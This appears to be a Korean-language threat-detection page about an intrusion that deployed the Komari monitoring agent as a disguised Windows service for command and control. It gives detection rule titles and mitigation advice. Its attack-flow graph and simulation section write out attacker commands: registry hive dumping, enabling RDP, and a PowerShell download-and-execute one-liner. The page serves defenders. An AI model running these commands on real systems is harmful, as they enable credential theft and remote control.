Komari: 군사화가 필요하지 않은 ‘모니터링’ 도구
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
위협 행위자가 도난당한 VPN 자격 증명을 사용하여 Huntress 파트너의 Windows 워크스테이션에 접근한 뒤, RDP를 활성화하고 오픈 소스 Komari 모니터링 에이전트를 NSSM을 통해 Windows 업데이트 서비스로 위장하여 SYSTEM 수준의 서비스로 배포했습니다. 설치 후 에이전트는 공격자가 제어하는 인프라로 지속적인 WebSocket 연결을 설정하고 명령 실행, 터미널 접근, 하트비트 스타일의 핑 기능 등을 제공했습니다. 실질적으로 이 도구는 추가적인 무기화가 필요 없는 경량의 명령 및 제어 프레임워크로 작동했습니다.
조사
침입은 SSL VPN 로그인이 45.153.34.132에서 시작된 후 Impacket의 smbexec.py 를 사용하여 RDP를 활성화하고 일련의 원격 명령을 실행했습니다. 조사관들은 PowerShell의 원라이너가 GitHub에서 Komari 설치 파일을 직접 다운로드하여 Windows 서비스로 등록되었다는 사실을 발견했습니다. 그 서비스는 komari-agent.exe를 실행하고 공격자의 서버에 WebSocket 세션을 열어 호스트에서 임의의 원격 명령 실행을 가능하게 했습니다.
완화
Huntress는 타협된 워크스테이션을 격리하고 영향을 받은 사용자 계정을 비활성화하며, NSSM에 의해 생성된 Komari 서비스를 중단했습니다. 악성 WebSocket 연결은 차단되고 지속성 메커니즘은 시스템에서 제거되었습니다. 권장되는 후속 방어 조치로는 VPN 접근 제어 강화, 의심스러운 서비스 생성 이벤트 모니터링, 아웃바운드 WebSocket 활동 검사, 그리고 RDP 보안 강화가 포함됩니다.
대응
보안 담당자는 Windows 업데이트 서비스로 지칭되는 Windows 서비스 생성, komari-agent.exe에 주의하고, 낯선 호스트로의 장기적 아웃바운드 WebSocket 연결을 감시하며, smbexec.py 과 같은 Impacket 도구의 사용을 감지하여 제어 이동에 대비 해야 합니다. 탐지된 경우, 영향을 받은 엔드포인트는 즉시 격리되고, 손상된 자격 증명은 폐기되며 환경에서 악성 서비스는 제거되어야 합니다.
graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef process fill:#e6e6fa %% Nodes – Actions / Techniques action_initial_access[“<b>Action</b> – <b>T1078 Valid Accounts</b><br/><b>Description</b>: Use stolen VPN credentials to establish an SSLVPN session and gain initial access.”] class action_initial_access technique action_cred_dump[“<b>Action</b> – <b>T1552.002 Unsecured Credentials</b><br/><b>Description</b>: Dump SAM, System and Security registry hives to obtain password hashes.”] class action_cred_dump technique action_enable_rdp[“<b>Action</b> – <b>T1599 Network Boundary Bridging</b><br/><b>Description</b>: Modify the registry key fDenyTSConnections to enable Remote Desktop Protocol access.”] class action_enable_rdp technique action_firewall_rule[“<b>Action</b> – <b>T1562.004 Impair Defenses</b><br/><b>Description</b>: Create a firewall rule named Allow RDP that opens inbound TCP port 3389.”] class action_firewall_rule technique %% Nodes – Tools / Processes tool_vpn[“<b>Tool</b> – <b>Name</b>: VPN Client<br/><b>Purpose</b>: Connect to corporate network via SSLVPN.”] class tool_vpn tool process_regdump[“<b>Process</b> – <b>Command</b>: reg save HKLM\SYSTEM\…<br/><b>Description</b>: Dump SAM, System and Security hives.”] class process_regdump process process_reg_modify[“<b>Process</b> – <b>Command</b>: reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f<br/><b>Description</b>: Enable RDP through registry modification.”] class process_reg_modify process process_fw_rule[“<b>Process</b> – <b>Command</b>: netsh advfirewall firewall add rule name=”Allow RDP” dir=in action=allow protocol=TCP localport=3389<br/><b>Description</b>: Add firewall rule to allow inbound RDP traffic.”] class process_fw_rule process %% Connections action_initial_access –>|uses| tool_vpn action_initial_access –>|leads to| action_cred_dump action_cred_dump –>|uses| process_regdump action_cred_dump –>|leads to| action_enable_rdp action_enable_rdp –>|uses| process_reg_modify action_enable_rdp –>|leads to| action_firewall_rule action_firewall_rule –>|uses| process_fw_rule
공격 흐름
탐지
Impacket 명령줄 패턴 가능성 (cmdline 통해)
보기
Impacket를 사용한 원격 코드 실행 가능성 (cmdline 통해)
보기
의심스러운 디렉토리에서 파일 실행 중인 PowerShell (cmdline 통해)
보기
Powershell을 통한 다운로드 또는 업로드 (cmdline 통해)
보기
원격 데스크톱 서비스 섀도잉 가능성 (process_creation 통해)
보기
CLI 통한 의심스러운 방화벽 수정 (cmdline 통해)
보기
명령줄에서 URL을 활용하는 의심스러운 프로세스 (cmdline 통해)
보기
대체 원격 액세스 / 관리 소프트웨어 (process_creation 통해)
보기
Komari를 감지하기 위한 IOCs (HashSha256): 무기화가 필요 없었던 ‘모니터링’ 도구
보기
Komari를 감지하기 위한 IOCs (SourceIP): 무기화가 필요 없었던 ‘모니터링’ 도구
보기
Komari를 감지하기 위한 IOCs (DestinationIP): 무기화가 필요 없었던 ‘모니터링’ 도구
보기
Impacket smbexec.py 및 cmd.exe의 RDP 통한 실행 탐지 [Windows 프로세스 생성]
보기
Komari 에이전트 설치를 위한 PowerShell 실행 [Windows PowerShell]
보기
Windows 업데이트 서비스를 통해 Komari 에이전트 지속성 탐지 [Windows 시스템]
보기
무단 SSLVPN 접근 및 타협 후 활동 탐지 [방화벽]
보기
시뮬레이션 실행
전제 조건: Telemetry 및 Baseline 프리플라이트 체크가 통과해야 함.
-
공격 내러티브 & 명령어:
공격자가 Windows 호스트에 발판을 마련하고 Komari C2 에이전트를 설치하여 지속성을 유지하고 나중에 자격 증명을 덤프하려 합니다 (T1003.001). 전통적인 스크립트 차단 방어를 피하기 위해, 공격자는 PowerShell을-ExecutionPolicy Bypass로 실행하여 설치파일을 공개 GitHub 저장소에서 직접 다운로드합니다. 명령줄은 탐지 규칙과 정확히 일치하여 예상되는 테레메트리를 생성합니다. -
회귀 테스트 스크립트:
# Komari 에이전트 설치 시뮬레이션 $url = "https://raw.githubusercontent.com/komari-monitor/komari-agent/main/install.ps1" $script = (New-Object System.Net.WebClient).DownloadString($url) Invoke-Expression $script -
정리 명령어:
# 시뮬레이션 설치자가 생성한 파일 제거 (있는 경우) Remove-Item -Path "$Env:ProgramFilesKomari" -Recurse -Force -ErrorAction SilentlyContinue # 시작되었을 수 있는 Komari 프로세스를 중지 Get-Process -Name "Komari" -ErrorAction SilentlyContinue | Stop-Process -Force